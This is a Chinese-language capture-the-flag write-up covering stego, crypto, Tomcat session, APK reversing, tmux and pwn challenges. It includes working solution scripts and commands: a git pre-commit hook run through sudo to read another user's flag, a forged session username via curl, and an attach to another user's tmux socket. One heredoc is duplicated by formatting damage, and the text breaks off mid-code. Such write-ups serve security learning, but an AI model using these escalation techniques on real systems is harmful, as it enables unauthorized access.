一、MISC
1、LSD#4
题目描述:Don't try to throw random tools at this poor image. Go back to the basics and learn the detection techniques.
这个是一个图片隐写题,可以用隐写工具查看,我是写了一脚本
from PIL import Image
im = Image.open("secret.png")
pix = im.load()
start_x, start_y = 1000, 1000
square_size = 100
# 只取 R 通道 LSB
bits = []
for y in range(start_y, start_y + square_size):
for x in range(start_x, start_x + square_size):
r = pix[x, y][0]
bits.append(r & 1)
# 转字节
byte_array = []
for i in range(0, len(bits) - 7, 8):
byte_val = 0
for j in range(8):
byte_val = (byte_val << 1) | bits[i + j]
byte_array.append(byte_val)
text = bytes(byte_array).decode('latin-1') # 先用 latin-1 避免解码错误
if "Hero" in text:
idx = text.index("Hero")
print("Found possible flag:")
print(text[idx:idx+50])
else:
# 检查所有字节中是否有 Hero{ 的字节序列
byte_str = bytes(byte_array)
import re
matches = re.findall(b'Hero\{[^}]+\}', byte_str)
if matches:
print(matches[0].decode())
else:
print("No flag found in R channel LSB")
print("First 200 bytes as text:", text[:200])
# 输出内容中即可看到Hero{M4YB3_TH3_L4ST_LSB?}
2、Neverland
题目描述:Peter Pan and Captain Hook are once again fighting in Neverland, instead of working and pushing PRs into production. Since this is a regular occurence, we have created a script that allows the intern to review PRs in their stead. Please don't touch Peter's fairy powder stock in /home/peter/flag.txt (i'm still convinced it's cocaine though, why else would they run around with swords in the office pretending they are flying ??)
创建实例后,通过尝试发现以下几点:
-
问题:需要以
intern用户读取/home/peter/flag.txt -
限制:只能通过
sudo -u peter /opt/commit.sh执行 -
漏洞利用:
-
创建了一个混合 Git 仓库,通过符号链接共享
/app/.git的对象和配置 -
这样能通过 commit 哈希检查和 config 哈希检查
-
在本地保留了
.git/hooks/目录的控制权 -
设置了
pre-commit钩子在提交前读取 flag -
即使钩子返回错误(exit 1),flag 已经被成功读取
-
-
关键技巧:部分符号链接(objects、refs、config)加上本地 hooks 目录,既满足了安全检查,又实现了代码执行。
intern@neverland:~/linked_repo ln -s /app/.git/refs .git/refs intern@neverland:~/linked_repo ln -s /app/.git/config .git/config
intern@neverland:~/linked_repo echo "ref: refs/heads/master" > .git/HEAD intern@neverland:~/linked_repo cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
cat /home/peter/flag.txt > cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
cat /home/peter/flag.txt > /tmp/pre_commit_flag.txt
exit 1
EOFintern@neverland:~/linked_repo chmod +x .git/hooks/pre-commit intern@neverland:~/linked_repo echo "test" > file.txt
intern@neverland:~/linked_repo cd .. intern@neverland:~ tar -czf linked.tar.gz linked_repo
intern@neverland:~$ sudo -u peter /opt/commit.sh /home/intern/linked.tar.gz
[ADMIN GIT COMMIT] Received submission: /home/intern/linked.tar.gz
[ADMIN GIT COMMIT] Extracting archive to temporary directory: /home/peter/git-review-227
[ADMIN GIT COMMIT] Changed directory to /home/peter/git-review-227/linked_repo
[ADMIN GIT COMMIT] Verifying that your repository is up-to-date...
[ADMIN GIT COMMIT] Admin's latest commit: 4f08afb812db3314e17b1da80a8782610c1a6d02
[ADMIN GIT COMMIT] Your latest commit: 4f08afb812db3314e17b1da80a8782610c1a6d02
[ADMIN GIT COMMIT] SUCCESS: Commit history matches.
[ADMIN GIT COMMIT] Verifying integrity of .git/config file...
[ADMIN GIT COMMIT] Admin's .git/config hash: cfe7ba1238c9a78be7535d7c63bcaf5a4d5011d46b07c9b45d3bbf7d6c312dfe
[ADMIN GIT COMMIT] Your .git/config hash: cfe7ba1238c9a78be7535d7c63bcaf5a4d5011d46b07c9b45d3bbf7d6c312dfe
[ADMIN GIT COMMIT] SUCCESS: .git/config is valid. Proceeding with review.
[ADMIN GIT COMMIT] Reviewing your proposed changes...On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
deleted: file.txtUntracked files:
(use "git add <file>..." to include in what will be committed)
file.txt
[ADMIN GIT COMMIT] Everything looks good. Adding your changes to the staging area.
[ADMIN GIT COMMIT] Committing your changes to the official branch. Stand by...
intern@neverland:~ cat /tmp/pre_commit_flag.txt Hero{c4r3full_w1th_g1t_hO0k5_d4dcefb250aa8c2ffabaa57119e3bc42} intern@neverland:~
二、Crypto
1、Andor
题目描述:Would you rather be inside solving challenges AND getting flags OR outside touching grass ?
可以拿到一个压缩包
# 解压查看一下都什么文件
└─# ls
chall.py Dockerfile entry.sh flag.txt
# 查看文件具体内容
└─# cat chall.py
#!/usr/bin/env python3
import secrets
AND = lambda x, y: [a & b for a, b in zip(x, y)]
IOR = lambda x, y: [a | b for a, b in zip(x, y)]
with open("flag.txt", "rb") as f:
flag = [*f.read().strip()]
l = len(flag) // 2
while True:
k = secrets.token_bytes(len(flag))
a = AND(flag[:l], k[:l])
o = IOR(flag[l:], k[l:])
print("a =", bytearray(a).hex())
print("o =", bytearray(o).hex())
input("> ")
└─# cat Dockerfile
FROM python:3.11-alpine@sha256:610ede222c1fa9675c694c99429f8d2c1b4e243f1982246da9e540eb5800ee4a
RUN apk --update add socat \
&& adduser -D --home /app user
COPY --chown=user chall.py entry.sh flag.txt /app
RUN chmod 755 /app/entry.sh /app/chall.py
WORKDIR /app
EXPOSE ${LISTEN_PORT}
ENTRYPOINT ["/app/entry.sh"]
└─# cat entry.sh
#! /bin/sh
while :
do
su -c "exec socat TCP-LISTEN:${LISTEN_PORT},forever,reuseaddr,fork EXEC:'/app/chall.py'" - user;
done
代码分析:
-
AND 运算:
a & k-
如果 flag 的某位是 0,结果永远是 0
-
如果 flag 的某位是 1,结果可能是 0 或 1(取决于 k)
-
所以只要某位出现过 1,就能确定 flag 该位是 1
-
-
OR 运算:
o | k-
如果 flag 的某位是 1,结果永远是 1
-
如果 flag 的某位是 0,结果可能是 0 或 1(取决于 k)
-
所以只要某位出现过 0,就能确定 flag 该位是 0
-
通过收集足够多的随机样本,我们就能逐位恢复出完整的 flag。
搞一个脚本
python
from pwn import *
def collect_data(num_rounds=100):
p = remote('x.x.x.x', 9000)
data = []
for round_num in range(num_rounds):
try:
print(f"Round {round_num + 1}/{num_rounds}")
line1 = p.recvline(timeout=5).decode().strip()
print(f" a: {line1}")
line2 = p.recvline(timeout=5).decode().strip()
print(f" o: {line2}")
prompt = p.recvuntil(b'> ', timeout=5)
a_hex = line1.split('a = ')[1]
o_hex = line2.split('o = ')[1]
a_bytes = bytes.fromhex(a_hex)
o_bytes = bytes.fromhex(o_hex)
data.append((a_bytes, o_bytes))
p.sendline(b'next')
except EOFError:
print("Connection closed by server")
break
except Exception as e:
print(f"Error at round {round_num}: {e}")
break
p.close()
return data
def recover_flag(data):
if not data:
return None
half_len = len(data[0][0])
total_len = half_len * 2
print(f"Flag length: {total_len} bytes (half: {half_len})")
flag_bytes = bytearray(total_len)
print("Processing AND part...")
for i in range(half_len):
byte_val = 0
for bit in range(8):
mask = 1 << bit
# 如果这个比特位在任意一轮中为 1,那么 flag 的该位就是 1
for a_bytes, _ in data:
if a_bytes[i] & mask:
byte_val |= mask
break
flag_bytes[i] = byte_val
# 处理后半部分 (OR 操作)
print("Processing OR part...")
for i in range(half_len, total_len):
byte_val = 0
for bit in range(8):
mask = 1 << bit
# 如果这个比特位在任意一轮中为 0,那么 flag 的该位就是 0
found_zero = False
for _, o_bytes in data:
idx = i - half_len # 在 o_bytes 中的索引
if not (o_bytes[idx] & mask):
found_zero = True
break
# 如果从未出现过 0,那么 flag 的该位就是 1
if not found_zero:
byte_val |= mask
flag_bytes[i] = byte_val
return bytes(flag_bytes)
# 主程序
print("Collecting data...")
data = collect_data(50) # 先收集50轮试试
print(f"Collected {len(data)} rounds of data")
if len(data) > 0:
print("Recovering flag...")
flag = recover_flag(data)
if flag:
print("Recovered bytes:", len(flag))
# 尝试解码为字符串
try:
flag_str = flag.decode('ascii')
print("Flag:", flag_str)
except:
print("Flag contains non-ASCII bytes")
print("Hex:", flag.hex())
# 尝试找到 Hero{ 模式
if b'Hero{' in flag:
start = flag.index(b'Hero{')
# 尝试提取到 }
end = flag.index(b'}', start) + 1
print("Found flag:", flag[start:end].decode())
else:
print("No data collected")
# 运行结果中即可看到flag Hero{y0u_4nd_5l33p_0r_y0u_4nd_c0ff33_3qu4l5_fl4g_4nd_p01n75}
2、Perilous
题目描述:I've made a RC4 encryption service and I want you to test its security. Decryption isn't supported though :p
依然是给了一个压缩包
python
# 解压看看都什么文件
└─# ls
chall.py Dockerfile entry.sh flag.txt
# 查看一下具体内容
└─# cat chall.py
#!/usr/bin/env python3
from cryptography.hazmat.decrepit.ciphers import algorithms
from cryptography.hazmat.primitives.ciphers import Cipher
import os
with open("flag.txt", "rb") as f:
FLAG = f.read()
MASK = os.urandom(len(FLAG))
KEYS = []
def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b * (1 + len(a) // len(b))))
def encrypt(k: str, m: str) -> str:
k = bytes.fromhex(k)
m = bytes.fromhex(m)
if k in KEYS:
raise Exception("Duplicate key used, aborting")
KEYS.append(k)
algorithm = algorithms.ARC4(k)
cipher = Cipher(algorithm, mode=None)
encryptor = cipher.encryptor()
m = xor(m, MASK)
m = encryptor.update(m)
m = xor(m, MASK)
return m.hex()
print(
"Welcome to my RC4 encryption service! Some may call it deprecated, I call it vintage.",
)
k = input("flag k: ")
print(encrypt(k, FLAG.hex()))
while True:
k = input("k: ")
m = input("m: ")
print(encrypt(k, m))
└─# cat Dockerfile
FROM python:3.11-alpine@sha256:610ede222c1fa9675c694c99429f8d2c1b4e243f1982246da9e540eb5800ee4a
RUN apk --update add socat \
&& pip3 install cryptography==46.0.2 \
&& adduser -D --home /app user
COPY --chown=user chall.py entry.sh flag.txt /app
RUN chmod 755 /app/entry.sh /app/chall.py
WORKDIR /app
EXPOSE ${LISTEN_PORT}
ENTRYPOINT ["/app/entry.sh"]
分析代码可知:
-
问题分析:RC4 加密服务,但重复使用相同密钥会触发异常
-
攻击方法:使用两个独立的连接
-
第一个连接:用目标密钥加密 flag 获取密文
-
第二个连接:先用虚拟密钥通过第一次检查,然后用目标密钥加密全零获取密钥流
-
-
数学原理:
flag = encrypted_flag XOR keystream -
解密拿到flag
实现脚本
python
from pwn import *
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
host = "x.x.x.x"
port = 9001
r1 = remote(host, port)
r1.recvuntil(b"flag k:")
r1.sendline(b"41" * 16) # 16字节密钥
enc_flag_hex = r1.recvline(timeout=2).decode().strip()
print("Encrypted flag:", enc_flag_hex)
enc_flag = bytes.fromhex(enc_flag_hex)
flag_len = len(enc_flag)
r1.close()
r2 = remote(host, port)
r2.recvuntil(b"flag k:")
r2.sendline(b"00" * 16)
r2.recvuntil(b"k:")
r2.sendline(b"41" * 16)
r2.recvuntil(b"m:")
zeros = "00" * flag_len
r2.sendline(zeros.encode())
keystream_hex = r2.recvline(timeout=2).decode().strip()
print("Keystream:", keystream_hex)
keystream = bytes.fromhex(keystream_hex)
r2.close()
flag = xor(enc_flag, keystream)
print("Flag:", flag.decode())
# 运行结果即可看到Flag: Hero{7h3_p3r1l5_0f_r3p3471n6_p4773rn5}
三、WEB
1、Tomwhat
题目描述:May The Force Be With You
同样给了一个压缩包,这个包里边东西比较多,只贴一部分
python
└─# cat challenge/dark/WEB-INF/classes/com/example/dark/DarkServlet.java
package com.example.dark;
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;
public class DarkServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
HttpSession s = req.getSession(false);
String username = s == null ? null : (String) s.getAttribute("username");
StringBuilder html = new StringBuilder();
html.append("<html><body><h1>Dark Side</h1>");
if (username == null)
html.append("<p>Welcome to the dark side Darth Not Already Sidious.</p>");
else
html.append("<p>Welcome to the dark side Darth ").append(username).append("</p>");
html.append("<a href='admin'>Admin interface</a>");
html.append("</body></html>");
resp.getWriter().write(html.toString());
}
}
└─# cat challenge/dark/WEB-INF/classes/com/example/dark/AdminServlet.java
package com.example.dark;
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
HttpSession s = req.getSession(false);
String username = s == null ? null : (String) s.getAttribute("username");
StringBuilder html = new StringBuilder("<html><body><h1>Admin Panel</h1>");
if ("darth_sidious".equalsIgnoreCase(username)) {
html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
} else {
html.append("<p>Access denied.</p>");
}
html.append("</body></html>");
resp.getWriter().write(html.toString());
}
}
└─# cat challenge/light/WEB-INF/classes/com/example/light/LightServlet.java
package com.example.light;
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;
public class LightServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
HttpSession session = req.getSession();
String username = (String) session.getAttribute("username");
String error = (String) req.getAttribute("error");
StringBuilder html = new StringBuilder();
html.append("<html><body><h1>Light Side</h1>");
if (error != null) {
html.append("<p style='color:red;'>").append(error).append("</p>");
}
html.append("<form method='post'>");
html.append("<input name='username' />");
html.append("<button type='submit'>Join</button>");
html.append("</form>");
if (username != null) {
html.append("<p>You are on the good side Lord ").append(username).append("</p>");
html.append("<form action='/dark/' method='get'><button>Go dark</button></form>");
}
html.append("</body></html>");
resp.getWriter().write(html.toString());
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String username = req.getParameter("username");
if ("darth_sidious".equalsIgnoreCase(username)) {
req.setAttribute("error", "Forbidden username.");
doGet(req, resp);
return;
}
req.getSession().setAttribute("username", username);
resp.sendRedirect(req.getContextPath() + "/");
}
}
总结分析代码的发现:
-
Session 共享漏洞:Tomcat 配置了
sessionCookiePath="/",使得 session 在所有 webapp 之间共享 -
SessionExample 应用:Tomcat 自带的 examples 应用提供了直接设置 session 属性的功能
-
绕过过滤:通过 SessionExample 直接设置
username=darth_sidious,绕过了 Light Side 的过滤检查 -
Admin Panel 访问:使用设置了正确用户名的 session 访问
/dark/admin获取 flag
实现拿到flag的过程
bash
# 1. 获取初始 session
curl -c cookies.txt "http://x.x.x.x:11332/light/"
# 2. 通过 SessionExample 设置 username
curl -b "JSESSIONID=YOUR_SESSION_ID" \
-d "dataname=username" \
-d "datavalue=darth_sidious" \
"http://x.x.x.x:11332/examples/servlets/servlet/SessionExample"
# 3. 获取 flag
curl -b "JSESSIONID=YOUR_SESSION_ID" \
"http://x.x.x.x:11332/dark/admin"
# 第三步获得flag Hero{a2ae73558d29c6d438353e2680a90692}
四、Rev
1、Freeda Simple Hook
题目描述:Try to find the password to open this vault!
bash
# 检查一下文件类型
└─# file app-release.apk
app-release.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block
# 提取APK信息,解压APK
└─# apktool d app-release.apk -o extracted_apk
I: Using Apktool 2.7.0-dirty on app-release.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
通过cat AndroidManifest.xml | grep -E "package=|android:name" | head -10和find . -name "*.smali" | grep -i "vault\|password\|check"等命令找一下关键信息:
-
包名:
com.heroctf.freeda1 -
主活动:
com.heroctf.freeda1.MainActivity -
关键类:
-
com.heroctf.freeda1.utils.Vault -
com.heroctf.freeda1.utils.CheckFlag
-
通过命令查看一下Vault.smali和CheckFlag.smali,内容太长了,就把命令放这了
bash
cat extracted_apk/smali/com/heroctf/freeda1/utils/Vault.smali
cat extracted_apk/smali/com/heroctf/freeda1/utils/CheckFlag.smali
通过分析内容:
-
关键类
Vault和CheckFlag -
理解解密逻辑:
-
CheckFlag.checkFlag()使用反射调用Vault.get_flag() -
Vault.get_flag()包含复杂的解密算法 -
使用基于类名哈希的种子值
-
对加密字节数组进行索引重排、位旋转和 XOR 操作
-
-
重现解密算法:
-
正确实现 Java 的
String.hashCode() -
重现 Xorshift PRNG 用于索引随机化
-
实现位旋转和 XOR 解密逻辑
-
实现脚本
python
array_0 = [
0x63, 0x6f, 0x6d, 0x2e, 0x68, 0x65, 0x72, 0x6f, 0x63, 0x74,
0x66, 0x2e, 0x66, 0x72, 0x65, 0x65, 0x64, 0x61, 0x31, 0x2e,
0x4d, 0x61, 0x69, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x76, 0x69,
0x74, 0x79
]
array_1 = [
0x63, 0x6f, 0x6d, 0x2e, 0x68, 0x65, 0x72, 0x6f, 0x63, 0x74,
0x66, 0x2e, 0x66, 0x72, 0x65, 0x65, 0x64, 0x61, 0x31, 0x2e,
0x75, 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x43, 0x68, 0x65, 0x63,
0x6b, 0x46, 0x6c, 0x61, 0x67
]
str1 = ''.join(chr(c) for c in array_0)
str2 = ''.join(chr(c) for c in array_1)
print("String 1:", str1)
print("String 2:", str2)
# 正确的 Java hashCode 实现
def java_string_hashcode(s):
h = 0
for char in s:
h = (31 * h + ord(char)) & 0xFFFFFFFF
if h & 0x80000000:
h = -((~h + 1) & 0xFFFFFFFF)
return h
# 计算种子值
def calculate_seed():
v2 = -0x3f0011be # -1056969154
h1 = java_string_hashcode(str1)
h2 = java_string_hashcode(str2)
print(f"Hash1: {h1} (0x{h1 & 0xFFFFFFFF:08X})")
print(f"Hash2: {h2} (0x{h2 & 0xFFFFFFFF:08X})")
v0 = (h1 ^ v2) & 0xFFFFFFFF
v0 = (v0 ^ h2) & 0xFFFFFFFF
# rotateLeft(v0, 7)
v1 = ((v0 << 7) | ((v0 & 0xFFFFFFFF) >> (32 - 7))) & 0xFFFFFFFF
v1 = (v1 * -0x61c88647) & 0xFFFFFFFF
result = (v0 ^ v1) & 0xFFFFFFFF
# 转换为有符号
if result & 0x80000000:
result = -((~result + 1) & 0xFFFFFFFF)
return result
# Vault 中的加密字节数组
encrypted_bytes = [
0x34, 0x58, 0x1b, 0x20, 0x1b, 0xba, 0x60, 0x6d, 0x2d, 0xca,
0x2a, 0x7d, 0x19, 0x86, 0x9f, 0x45, 0x2f, 0x8e, 0xc0, 0xb8,
0x0d, 0x13, 0x8b, 0xad, 0x3b, 0x81, 0x00, 0x9e, 0xa5, 0xbc,
0x0d, 0x3e, 0x4a, 0xb8, 0x3a, 0x4b, 0xac, 0xca, 0x42
]
def get_flag():
seed = calculate_seed()
print(f"Seed value: {seed} (0x{seed & 0xFFFFFFFF:08X})")
# 创建索引数组
indices = list(range(0x27))
# 随机化索引数组
v4 = (-0x5a5a5a5b ^ seed) & 0xFFFFFFFF
for i in range(0x26, -1, -1):
# Xorshift PRNG
v4 = (v4 ^ (v4 << 13)) & 0xFFFFFFFF
v4 = (v4 ^ (v4 >> 17)) & 0xFFFFFFFF
v4 = (v4 ^ (v4 << 5)) & 0xFFFFFFFF
# 计算随机索引 (使用无符号long)
rand_idx = (v4 & 0xFFFFFFFF) % (i + 1)
# 交换
indices[i], indices[rand_idx] = indices[rand_idx], indices[i]
print("First 10 indices:", indices[:10])
# 解密字节
decrypted = [0] * 0x27
for i in range(0x27):
idx = indices[i]
encrypted_byte = encrypted_bytes[idx] & 0xFF
# temp = encrypted_byte - i
temp = (encrypted_byte - i) & 0xFF
# 位旋转逻辑
# ushr-int/lit8 v6, v0, 0x1b
# and-int/lit8 v6, v6, 0x7
shift = (seed >> 0x1B) & 0x7
# ushr-int v7, v5, v6
# rsub-int/lit8 v6, v6, 0x8
# shl-int/2addr v5, v6
# or-int/2addr v5, v7
right_shift = temp >> shift
left_shift = (temp << (8 - shift)) & 0xFF
rotated = (right_shift | left_shift) & 0xFF
# XOR 操作
# and-int/lit8 v6, v3, 0x3
# mul-int/lit8 v6, v6, 0x8
# ushr-int v6, v0, v6
shift_amount = (i & 0x3) * 8
xor_key = (seed >> shift_amount) & 0xFF
decrypted_byte = rotated ^ xor_key
decrypted[i] = decrypted_byte
# 显示结果
print("\nDecrypted bytes (hex):", [f"{b:02x}" for b in decrypted])
# 尝试作为字符串显示
as_chars = []
for b in decrypted:
if 32 <= b <= 126:
as_chars.append(chr(b))
else:
as_chars.append('.')
result_str = ''.join(as_chars)
print("As characters:", result_str)
# 检查常见模式
if 'Hero' in result_str:
print("*** FOUND 'Hero' PATTERN ***")
return decrypted, result_str
# 运行解密
decrypted_bytes, result_str = get_flag()
# 如果没找到,尝试其他方法
if 'Hero' not in result_str:
print("\n=== Alternative approach: Direct analysis ===")
# 尝试直接查看加密数组的模式
print("Encrypted bytes pattern analysis:")
# 检查是否有简单的变换
for key in range(256):
test = ''.join(chr((b - i) & 0xFF ^ key) if 32 <= ((b - i) & 0xFF ^ key) < 127 else '.'
for i, b in enumerate(encrypted_bytes))
if 'Hero' in test:
print(f"Found with key 0x{key:02x}: {test}")
# 尝试位置相关的XOR
for base_key in [0x13, 0x37, 0x42, 0x69]:
test = ''.join(chr((b ^ (base_key + i)) & 0xFF) if 32 <= ((b ^ (base_key + i)) & 0xFF) < 127 else '.'
for i, b in enumerate(encrypted_bytes))
if 'Hero' in test:
print(f"Found with positional key 0x{base_key:02x}: {test}")
# 运行结果As characters: Hero{1_H0P3_Y0U_D1DN'T_S7A71C_4N4LYZ3D}
2、The Chef's Secret Recipe
题目描述:You will never guess the secret recipe for my secret flag-cake !
python
# 检查文件类型
└─# file my_secret_recipe
my_secret_recipe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6cb2bb5b0deb01af01607f6b8bec1664200e591d, for GNU/Linux 4.4.0, not stripped
# 运行看看程序行为
└─# ./my_secret_recipe test
🍰 The Chef's Secret Recipe:
To bake the perfect flag-cake: sift the flour, add sugar, crack some eggs,
melt the butter, blend in vanilla and milk, whisk the cocoa, fold in the baking powder,
swirl in the cream, chop some cherry, toss on sprinkles, preheat the oven, grease the pan,
line it with parchment, set the timer, light a candle, serve on a plate, and garnish with frosting,
a pinch of salt, and crushed nuts for that final touch of sweetness.
[-] Nope
看看跟什么字符串比较
python
ltrace ./my_secret_recipe abcdefg 2>&1 | grep strcmp
strcmp("Hero{0h_N0_y0u_60T_My_S3cReT_C4k"..., "test") = -44
# 看起来像是被截断了,查看一下完整的
ltrace -s 100 ./my_secret_recipe test 2>&1 | grep strcmp
strcmp("Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}g\t\307\f\177", "test") = -44
# 嗯哼 直接得到了
五、SYSTEM
1、Movie Night
题目描述:Dallas: Something has attached itself to him. We have to get him to the infirmary right away.
连接上后看看
bash
user@movie_night:~$ ls
user@movie_night:~$ pwd
/home/user
# 尝试运行找flag,权限被拒绝
user@movie_night:~$ cat /home/dev/flag.txt
cat: /home/dev/flag.txt: Permission denied
# 继续尝试收集信息
user@movie_night:~$ id
uid=1001(user) gid=1001(user) groups=1001(user),100(users)
user@movie_night:~$ groups
user users
user@movie_night:~$ sudo -l
Matching Defaults entries for user on movie_night:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User user may run the following commands on movie_night:
(user) NOPASSWD: ALL
user@movie_night:~$ ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 Nov 29 08:55 .
drwxr-xr-x 1 root root 4096 Nov 29 08:55 ..
srw-rw-rw- 1 dev dev 0 Nov 29 08:55 tmux-1002
# 这不就发现了一个有意思的文件,这是一个tmux会话的socket文件,属于 dev 用户,并且有全局读写权限。我们可以尝试连接到这个tmux会话
user@movie_night:~$ tmux -S /tmp/tmux-1002 attach
# 果然进来了,这不久能拿到flag了
dev@movie_night:~$
dev@movie_night:~$ cat /home/dev/flag.txt
Hero{1s_1t_tmux_0r_4l13n?_a20bac4b5aa32e8d9a8ccb75d228ca3e}
六、PWN
1、Paf Traversal
题目描述:Your mission is to audit a high-performance hash-cracking platform. It achieves its speed by combining a Go-based API server with a C-powered hash-cracking service.
可以拿到一个压缩包
bash
# 解压看一下
└─# unzip paf_traversal.zip
Archive: paf_traversal.zip
creating: paf_traversal/
inflating: paf_traversal/Dockerfile
creating: paf_traversal/cracker/
inflating: paf_traversal/cracker/main.c
inflating: paf_traversal/cracker/cracker
inflating: paf_traversal/cracker/Makefile
creating: paf_traversal/api/
inflating: paf_traversal/api/main.go
creating: paf_traversal/api/assets/
inflating: paf_traversal/api/assets/styles.css
inflating: paf_traversal/api/assets/app.js
inflating: paf_traversal/api/go.sum
creating: paf_traversal/api/templates/
inflating: paf_traversal/api/templates/index.tmpl
inflating: paf_traversal/api/routers.go
inflating: paf_traversal/api/api
creating: paf_traversal/api/controllers/
inflating: paf_traversal/api/controllers/wordlist_controller.go
inflating: paf_traversal/api/controllers/schemas.go
inflating: paf_traversal/api/controllers/config.go
inflating: paf_traversal/api/controllers/bruteforce_controller.go
inflating: paf_traversal/api/go.mod
creating: paf_traversal/api/wordlists/
extracting: paf_traversal/api/wordlists/.gitkeep
inflating: paf_traversal/entrypoint.sh
# 内容很多,就是不断查看具体内容了,我这里贴出来一部分
└─# cat paf_traversal/api/main.go
package main
func main() {
router := SetupRouter()
err := router.Run(":8000")
if err != nil {
return
}
}
└─# cat paf_traversal/api/routers.go
package main
import (
"net/http"
"paf-traversal/controllers"
"github.com/gin-gonic/gin"
)
func SetupRouter() *gin.Engine {
router := gin.Default()
router.MaxMultipartMemory = 8 << 20 // 8 MiB
router.Static("/assets", "./assets/")
router.LoadHTMLGlob("./templates/*")
router.NoRoute(func(c *gin.Context) {
c.JSON(http.StatusNotFound, gin.H{
"error": "route not found",
"method": c.Request.Method,
"path": c.Request.URL.Path,
"status": http.StatusNotFound,
})
})
router.NoMethod(func(c *gin.Context) {
c.JSON(http.StatusMethodNotAllowed, gin.H{
"error": "method not allowed",
"method": c.Request.Method,
"path": c.Request.URL.Path,
"status": http.StatusMethodNotAllowed,
})
})
router.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.tmpl", gin.H{})
})
apiGroup := router.Group("/api")
{
wordlistGroup := apiGroup.Group("/wordlist")
{
wordlistGroup.GET("", controllers.HandleListWordlist)
wordlistGroup.POST("/download", controllers.HandleDownloadWordlist)
wordlistGroup.POST("", controllers.HandleUploadWordlist)
wordlistGroup.DELETE("", controllers.HandleDeleteWordlist)
}
bruteforceGroup := apiGroup.Group("/bruteforce")
{
bruteforceGroup.POST("", controllers.StartBruteforce)
}
}
return router
}
└─# cat paf_traversal/cracker/main.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
#include <openssl/sha.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
static const char *FIFO_IN = "/tmp/cracker.in";
static const char *FIFO_OUT = "/tmp/cracker.out";
static volatile sig_atomic_t stop_flag = 0;
static void compute_md5(const unsigned char *data, size_t data_len, unsigned char* out) {
MD5(data, data_len, out);
}
static void compute_sha1(const unsigned char *data, size_t data_len, unsigned char* out) {
SHA1(data, data_len, out);
}
static void compute_sha256(const unsigned char *data, size_t data_len, unsigned char* out) {
SHA256(data, data_len, out);
}
static void compute_sha512(const unsigned char *data, size_t data_len, unsigned char* out) {
SHA512(data, data_len, out);
}
typedef void (*compute_fn)(const unsigned char *data, size_t data_len, unsigned char* out);
static void cleanup_fifos(void) {
unlink(FIFO_IN);
unlink(FIFO_OUT);
}
static void signal_handler(int signum) {
(void)signum;
stop_flag = 1;
cleanup_fifos();
exit(0);
}
static void to_hex(const unsigned char *data, size_t length, char *out) {
for (size_t i = 0; i < length; ++i) {
sprintf(out + (i * 2), "%02x", data[i]);
}
out[length * 2] = '\0';
}
static void from_hex(const char *hex_str, unsigned char *out, size_t out_len) {
for (size_t i = 0; i < out_len; ++i) {
sscanf(hex_str + (i * 2), "%2hhx", &out[i]);
}
}
void handle_request(const char *algo_type_str, const char *hash_str, const char *wordlist_str) {
unsigned char output_bin[SHA512_DIGEST_LENGTH];
char hash_bin[SHA512_DIGEST_LENGTH];
char output_hex[SHA512_DIGEST_LENGTH * 2 + 1];
int outfd = open(FIFO_OUT, O_WRONLY);
if (outfd < 0) {
perror("open FIFO_OUT for writing in handle_request");
return;
}
int algo_type = atoi(algo_type_str);
printf("[%d] target hash: %s (wordlist: %s)\n", algo_type, hash_str, wordlist_str);
fflush(stdout);
int output_len = SHA256_DIGEST_LENGTH;
switch (algo_type) {
case 0: output_len = MD5_DIGEST_LENGTH; break;
case 1: output_len = SHA_DIGEST_LENGTH; break;
case 2: output_len = SHA256_DIGEST_LENGTH; break;
default:
fprintf(stderr, "Unsupported algorithm type: %d\n", algo_type);
dprintf(outfd, "ERROR:unsupported algorithm type %d\n", algo_type);
close(outfd);
}
compute_fn hash_functions[] = {
compute_md5,
compute_sha1,
compute_sha256,
};
compute_fn* hash_fn = &hash_functions[algo_type];
FILE *wordlist = fopen(wordlist_str, "r");
if (!wordlist) {
perror("fopen wordlist");
dprintf(outfd, "ERROR:could not open wordlist '%s': %s\n", wordlist_str, strerror(errno));
close(outfd);
return;
}
from_hex(hash_str, (unsigned char *)hash_bin, output_len);
char pw[512];
int found = 0;
while (fgets(pw, sizeof(pw), wordlist)) {
size_t pwlen = strcspn(pw, "\r\n");
pw[pwlen] = '\0';
if (pwlen == 0) continue;
(*hash_fn)((const unsigned char *)pw, pwlen, output_bin);
to_hex(output_bin, output_len, output_hex);
